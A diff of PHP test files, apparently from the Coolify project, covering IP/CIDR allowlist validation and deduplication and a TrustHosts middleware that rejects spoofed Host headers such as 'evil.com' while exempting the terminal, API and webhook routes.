expect($validate('192.168.1.0/24,10.0.0.0/8'))->toBeTrue(); // Multiple CIDRs
|
||||
expect($validate('0.0.0.0/0'))->toBeTrue(); // 0.0.0.0 with subnet
|
||||
expect($validate('0.0.0.0/24'))->toBeTrue(); // 0.0.0.0 with any subnet
|
||||
expect($validate(' 192.168.1.1 '))->toBeTrue(); // With spaces
|
||||
// IPv6 valid cases — issue #8729
|
||||
expect($validate('2001:db8::1'))->toBeTrue(); // Valid bare IPv6
|
||||
expect($validate('::1'))->toBeTrue(); // Loopback IPv6
|
||||
expect($validate('2a01:e0a:21d:8230::/64'))->toBeTrue(); // IPv6 /64 CIDR
|
||||
expect($validate('2001:db8::/48'))->toBeTrue(); // IPv6 /48 CIDR
|
||||
expect($validate('2001:db8::1/128'))->toBeTrue(); // IPv6 /128 CIDR
|
||||
expect($validate('192.168.1.1,2a01:e0a:21d:8230::/64'))->toBeTrue(); // Mixed IPv4 + IPv6 CIDR
|
||||
|
||||
// Invalid cases - should fail
|
||||
expect($validate('1'))->toBeFalse(); // Single digit
|
||||
expect($validate('abc'))->toBeFalse(); // Invalid text
|
||||
expect($validate('192.168.1.256'))->toBeFalse(); // Invalid IP (256)
|
||||
expect($validate('192.168.1.0/33'))->toBeFalse(); // Invalid CIDR mask (>32)
|
||||
expect($validate('192.168.1.0/-1'))->toBeFalse(); // Invalid CIDR mask (<0)
|
||||
expect($validate('192.168.1.1,abc'))->toBeFalse(); // Mix of valid and invalid
|
||||
expect($validate('192.168.1.1,192.168.1.256'))->toBeFalse(); // Mix with invalid IP
|
||||
expect($validate('192.168.1.0/24/32'))->toBeFalse(); // Invalid CIDR format
|
||||
expect($validate('not.an.ip.address'))->toBeFalse(); // Invalid format
|
||||
expect($validate('192.168'))->toBeFalse(); // Incomplete IP
|
||||
expect($validate('192.168.1.1.1'))->toBeFalse(); // Too many octets
|
||||
expect($validate('2001:db8::/129'))->toBeFalse(); // IPv6 mask > 128
|
||||
});
|
||||
|
||||
test('ValidIpOrCidr validation rule error messages', function () {
|
||||
$rule = new ValidIpOrCidr;
|
||||
|
||||
// Helper function to get error message
|
||||
$getError = function ($value) use ($rule) {
|
||||
$errors = [];
|
||||
$fail = function ($message) use (&$errors) {
|
||||
$errors[] = $message;
|
||||
};
|
||||
$rule->validate('allowed_ips', $value, $fail);
|
||||
|
||||
return $errors[0] ?? null;
|
||||
};
|
||||
|
||||
// Test error messages
|
||||
$error = $getError('1');
|
||||
expect($error)->toContain('not valid IP addresses or CIDR notations');
|
||||
expect($error)->toContain('1');
|
||||
|
||||
$error = $getError('192.168.1.1,abc,10.0.0.256');
|
||||
expect($error)->toContain('abc');
|
||||
expect($error)->toContain('10.0.0.256');
|
||||
expect($error)->not->toContain('192.168.1.1'); // Valid IP should not be in error
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist removes bare IPv4 covered by various subnets', function () {
|
||||
// /24
|
||||
expect(deduplicateAllowlist(['192.168.1.5', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
|
||||
// /16
|
||||
expect(deduplicateAllowlist(['172.16.5.10', '172.16.0.0/16']))->toBe(['172.16.0.0/16']);
|
||||
// /8
|
||||
expect(deduplicateAllowlist(['10.50.100.200', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
// /32 — same host, first entry wins (both equivalent)
|
||||
expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1/32']))->toBe(['192.168.1.1']);
|
||||
// /31 — point-to-point
|
||||
expect(deduplicateAllowlist(['192.168.1.0', '192.168.1.0/31']))->toBe(['192.168.1.0/31']);
|
||||
// IP outside subnet — both preserved
|
||||
expect(deduplicateAllowlist(['172.17.0.1', '172.16.0.0/16']))->toBe(['172.17.0.1', '172.16.0.0/16']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist removes narrow IPv4 CIDR covered by broader CIDR', function () {
|
||||
// /32 inside /24
|
||||
expect(deduplicateAllowlist(['192.168.1.1/32', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
|
||||
// /25 inside /24
|
||||
expect(deduplicateAllowlist(['192.168.1.0/25', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
|
||||
// /24 inside /16
|
||||
expect(deduplicateAllowlist(['192.168.1.0/24', '192.168.0.0/16']))->toBe(['192.168.0.0/16']);
|
||||
// /16 inside /12
|
||||
expect(deduplicateAllowlist(['172.16.0.0/16', '172.16.0.0/12']))->toBe(['172.16.0.0/12']);
|
||||
// /16 inside /8
|
||||
expect(deduplicateAllowlist(['10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
// /24 inside /8
|
||||
expect(deduplicateAllowlist(['10.1.2.0/24', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
// /12 inside /8
|
||||
expect(deduplicateAllowlist(['172.16.0.0/12', '172.0.0.0/8']))->toBe(['172.0.0.0/8']);
|
||||
// /31 inside /24
|
||||
expect(deduplicateAllowlist(['192.168.1.0/31', '192.168.1.0/24']))->toBe(['192.168.1.0/24']);
|
||||
// Non-overlapping CIDRs — both preserved
|
||||
expect(deduplicateAllowlist(['192.168.1.0/24', '10.0.0.0/8']))->toBe(['192.168.1.0/24', '10.0.0.0/8']);
|
||||
expect(deduplicateAllowlist(['172.16.0.0/16', '192.168.0.0/16']))->toBe(['172.16.0.0/16', '192.168.0.0/16']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist removes bare IPv6 covered by various prefixes', function () {
|
||||
// /64 — issue #8729 exact scenario
|
||||
expect(deduplicateAllowlist(['2a01:e0a:21d:8230::', '127.0.0.1', '2a01:e0a:21d:8230::/64']))
|
||||
->toBe(['127.0.0.1', '2a01:e0a:21d:8230::/64']);
|
||||
// /48
|
||||
expect(deduplicateAllowlist(['2001:db8:1234::1', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']);
|
||||
// /128 — same host, first entry wins (both equivalent)
|
||||
expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1/128']))->toBe(['2001:db8::1']);
|
||||
// IP outside prefix — both preserved
|
||||
expect(deduplicateAllowlist(['2001:db8:1235::1', '2001:db8:1234::/48']))
|
||||
->toBe(['2001:db8:1235::1', '2001:db8:1234::/48']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist removes narrow IPv6 CIDR covered by broader prefix', function () {
|
||||
// /128 inside /64
|
||||
expect(deduplicateAllowlist(['2a01:e0a:21d:8230::5/128', '2a01:e0a:21d:8230::/64']))->toBe(['2a01:e0a:21d:8230::/64']);
|
||||
// /127 inside /64
|
||||
expect(deduplicateAllowlist(['2001:db8:1234:5678::/127', '2001:db8:1234:5678::/64']))->toBe(['2001:db8:1234:5678::/64']);
|
||||
// /64 inside /48
|
||||
expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']);
|
||||
// /48 inside /32
|
||||
expect(deduplicateAllowlist(['2001:db8:abcd::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']);
|
||||
// /32 inside /16
|
||||
expect(deduplicateAllowlist(['2001:db8::/32', '2001::/16']))->toBe(['2001::/16']);
|
||||
// /64 inside /32
|
||||
expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8::/32']))->toBe(['2001:db8::/32']);
|
||||
// Non-overlapping IPv6 — both preserved
|
||||
expect(deduplicateAllowlist(['2001:db8::/32', 'fd00::/8']))->toBe(['2001:db8::/32', 'fd00::/8']);
|
||||
expect(deduplicateAllowlist(['2001:db8:1234::/48', '2001:db8:5678::/48']))->toBe(['2001:db8:1234::/48', '2001:db8:5678::/48']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist mixed IPv4 and IPv6 subnets', function () {
|
||||
$result = deduplicateAllowlist([
|
||||
'192.168.1.5', // covered by 192.168.0.0/16
|
||||
'192.168.0.0/16',
|
||||
'2a01:e0a:21d:8230::1', // covered by ::/64
|
||||
'2a01:e0a:21d:8230::/64',
|
||||
'10.0.0.1', // not covered by anything
|
||||
'::1', // not covered by anything
|
||||
]);
|
||||
expect($result)->toBe(['192.168.0.0/16', '2a01:e0a:21d:8230::/64', '10.0.0.1', '::1']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist preserves non-overlapping entries', function () {
|
||||
$result = deduplicateAllowlist(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']);
|
||||
expect($result)->toBe(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist handles exact duplicates', function () {
|
||||
expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1']))->toBe(['192.168.1.1']);
|
||||
expect(deduplicateAllowlist(['10.0.0.0/8', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1']))->toBe(['2001:db8::1']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist handles single entry and empty array', function () {
|
||||
expect(deduplicateAllowlist(['10.0.0.1']))->toBe(['10.0.0.1']);
|
||||
expect(deduplicateAllowlist([]))->toBe([]);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist with 0.0.0.0 removes everything else', function () {
|
||||
$result = deduplicateAllowlist(['192.168.1.1', '0.0.0.0', '10.0.0.0/8']);
|
||||
expect($result)->toBe(['0.0.0.0']);
|
||||
});
|
||||
|
||||
test('deduplicateAllowlist multiple nested CIDRs keeps only broadest', function () {
|
||||
// IPv4: three levels of nesting
|
||||
expect(deduplicateAllowlist(['10.1.2.0/24', '10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']);
|
||||
// IPv6: three levels of nesting
|
||||
expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']);
|
||||
});
|
||||
@@ -0,0 +1,361 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\TrustHosts;
|
||||
use App\Models\InstanceSettings;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Clear cache before each test to ensure isolation
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
});
|
||||
|
||||
it('trusts the configured FQDN from InstanceSettings', function () {
|
||||
// Create instance settings with FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('rejects password reset request with malicious host header', function () {
|
||||
// Set up instance settings with legitimate FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// The malicious host should NOT be in the trusted hosts
|
||||
expect($hosts)->not->toContain('coolify.example.com.evil.com');
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('handles missing FQDN gracefully', function () {
|
||||
// Create instance settings without FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null]
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// Should still return APP_URL pattern without throwing
|
||||
expect($hosts)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('filters out null and empty values from trusted hosts', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => '']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// Should not contain empty strings or null
|
||||
foreach ($hosts as $host) {
|
||||
if ($host !== null) {
|
||||
expect($host)->not->toBeEmpty();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('extracts host from FQDN with protocol and port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com:8443']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('handles exception during InstanceSettings fetch', function () {
|
||||
// Drop the instance_settings table to simulate installation
|
||||
Schema::dropIfExists('instance_settings');
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
|
||||
// Should not throw an exception
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('trusts IP addresses with port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://65.21.3.91:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('65.21.3.91');
|
||||
});
|
||||
|
||||
it('trusts IP addresses without port', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://192.168.1.100']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('192.168.1.100');
|
||||
});
|
||||
|
||||
it('rejects malicious host when using IP address', function () {
|
||||
// Simulate an instance using IP address
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://65.21.3.91:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// The malicious host attempting to mimic the IP should NOT be trusted
|
||||
expect($hosts)->not->toContain('65.21.3.91.evil.com');
|
||||
expect($hosts)->not->toContain('evil.com');
|
||||
expect($hosts)->toContain('65.21.3.91');
|
||||
});
|
||||
|
||||
it('trusts IPv6 addresses', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'http://[2001:db8::1]:8000']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
// IPv6 addresses are enclosed in brackets, getHost() should handle this
|
||||
expect($hosts)->toContain('[2001:db8::1]');
|
||||
});
|
||||
|
||||
it('invalidates cache when FQDN is updated', function () {
|
||||
// Set initial FQDN
|
||||
$settings = InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://old-domain.com']
|
||||
);
|
||||
|
||||
// First call should cache it
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware->hosts();
|
||||
expect($hosts1)->toContain('old-domain.com');
|
||||
|
||||
// Verify cache exists
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
|
||||
// Update FQDN - should trigger cache invalidation
|
||||
$settings->fqdn = 'https://new-domain.com';
|
||||
$settings->save();
|
||||
|
||||
// Cache should be cleared
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse();
|
||||
|
||||
// New call should return updated host
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
expect($hosts2)->toContain('new-domain.com');
|
||||
expect($hosts2)->not->toContain('old-domain.com');
|
||||
});
|
||||
|
||||
it('caches trusted hosts to avoid database queries on every request', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
// Clear cache first
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
|
||||
// First call - should query database and cache result
|
||||
$middleware1 = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware1->hosts();
|
||||
|
||||
// Verify result is cached
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com');
|
||||
|
||||
// Subsequent calls should use cache (no DB query)
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
|
||||
expect($hosts1)->toBe($hosts2);
|
||||
expect($hosts2)->toContain('coolify.example.com');
|
||||
});
|
||||
|
||||
it('caches negative results when no FQDN is configured', function () {
|
||||
// Create instance settings without FQDN
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null]
|
||||
);
|
||||
|
||||
// Clear cache first
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
|
||||
// First call - should query database and cache empty string sentinel
|
||||
$middleware1 = new TrustHosts($this->app);
|
||||
$hosts1 = $middleware1->hosts();
|
||||
|
||||
// Verify empty string sentinel is cached (not null, which wouldn't be cached)
|
||||
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
|
||||
expect(Cache::get('instance_settings_fqdn_host'))->toBe('');
|
||||
|
||||
// Subsequent calls should use cached sentinel value
|
||||
$middleware2 = new TrustHosts($this->app);
|
||||
$hosts2 = $middleware2->hosts();
|
||||
|
||||
expect($hosts1)->toBe($hosts2);
|
||||
// Should only contain APP_URL pattern, not any FQDN
|
||||
expect($hosts2)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
it('skips host validation for terminal auth routes', function () {
|
||||
// These routes should be accessible with any Host header (for internal container communication)
|
||||
$response = $this->postJson('/terminal/auth', [], [
|
||||
'Host' => 'coolify:8080', // Internal Docker host
|
||||
]);
|
||||
|
||||
// Should not get 400 Bad Host (might get 401 Unauthorized instead)
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('skips host validation for terminal auth ips route', function () {
|
||||
// These routes should be accessible with any Host header (for internal container communication)
|
||||
$response = $this->postJson('/terminal/auth/ips', [], [
|
||||
'Host' => 'soketi:6002', // Another internal Docker host
|
||||
]);
|
||||
|
||||
// Should not get 400 Bad Host (might get 401 Unauthorized instead)
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('still enforces host validation for non-terminal routes', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
// Regular routes should still validate Host header
|
||||
$response = $this->get('/', [
|
||||
'Host' => 'evil.com',
|
||||
]);
|
||||
|
||||
// Should get 400 Bad Host for untrusted host
|
||||
expect($response->status())->toBe(400);
|
||||
});
|
||||
|
||||
it('skips host validation for API routes', function () {
|
||||
// All API routes use token-based auth (Sanctum), not host validation
|
||||
// They should be accessible from any host (mobile apps, CLI tools, scripts)
|
||||
|
||||
// Test health check endpoint
|
||||
$response = $this->get('/api/health', [
|
||||
'Host' => 'internal-lb.local',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
|
||||
// Test v1 health check
|
||||
$response = $this->get('/api/v1/health', [
|
||||
'Host' => '10.0.0.5',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
|
||||
// Test feedback endpoint
|
||||
$response = $this->post('/api/feedback', [], [
|
||||
'Host' => 'mobile-app.local',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('trusts localhost when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('localhost');
|
||||
});
|
||||
|
||||
it('trusts 127.0.0.1 when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('127.0.0.1');
|
||||
});
|
||||
|
||||
it('trusts IPv6 loopback when FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$middleware = new TrustHosts($this->app);
|
||||
$hosts = $middleware->hosts();
|
||||
|
||||
expect($hosts)->toContain('[::1]');
|
||||
});
|
||||
|
||||
it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
|
||||
$response = $this->get('/', [
|
||||
'Host' => 'localhost',
|
||||
]);
|
||||
|
||||
// Should NOT be rejected as untrusted host (would be 400)
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
|
||||
it('skips host validation for webhook endpoints', function () {
|
||||
// All webhook routes are under /webhooks/* prefix (see RouteServiceProvider)
|
||||
// and use cryptographic signature validation instead of host validation
|
||||
|
||||
// Test GitHub webhook
|
||||
$response = $this->post('/webhooks/source/github/events', [], [
|
||||
'Host' => 'github-webhook-proxy.local',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
|
||||
// Test GitLab webhook
|
||||
$response = $this->post('/webhooks/source/gitlab/events/manual', [], [
|
||||
'Host' => 'gitlab.example.com',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
|
||||
// Test Stripe webhook
|
||||
$response = $this->post('/webhooks/payments/stripe/events', [], [
|
||||
'Host' => 'stripe-webhook-forwarder.local',
|
||||
]);
|
||||
expect($response->status())->not->toBe(400);
|
||||
});
|
||||
Reference in new issue
Block a user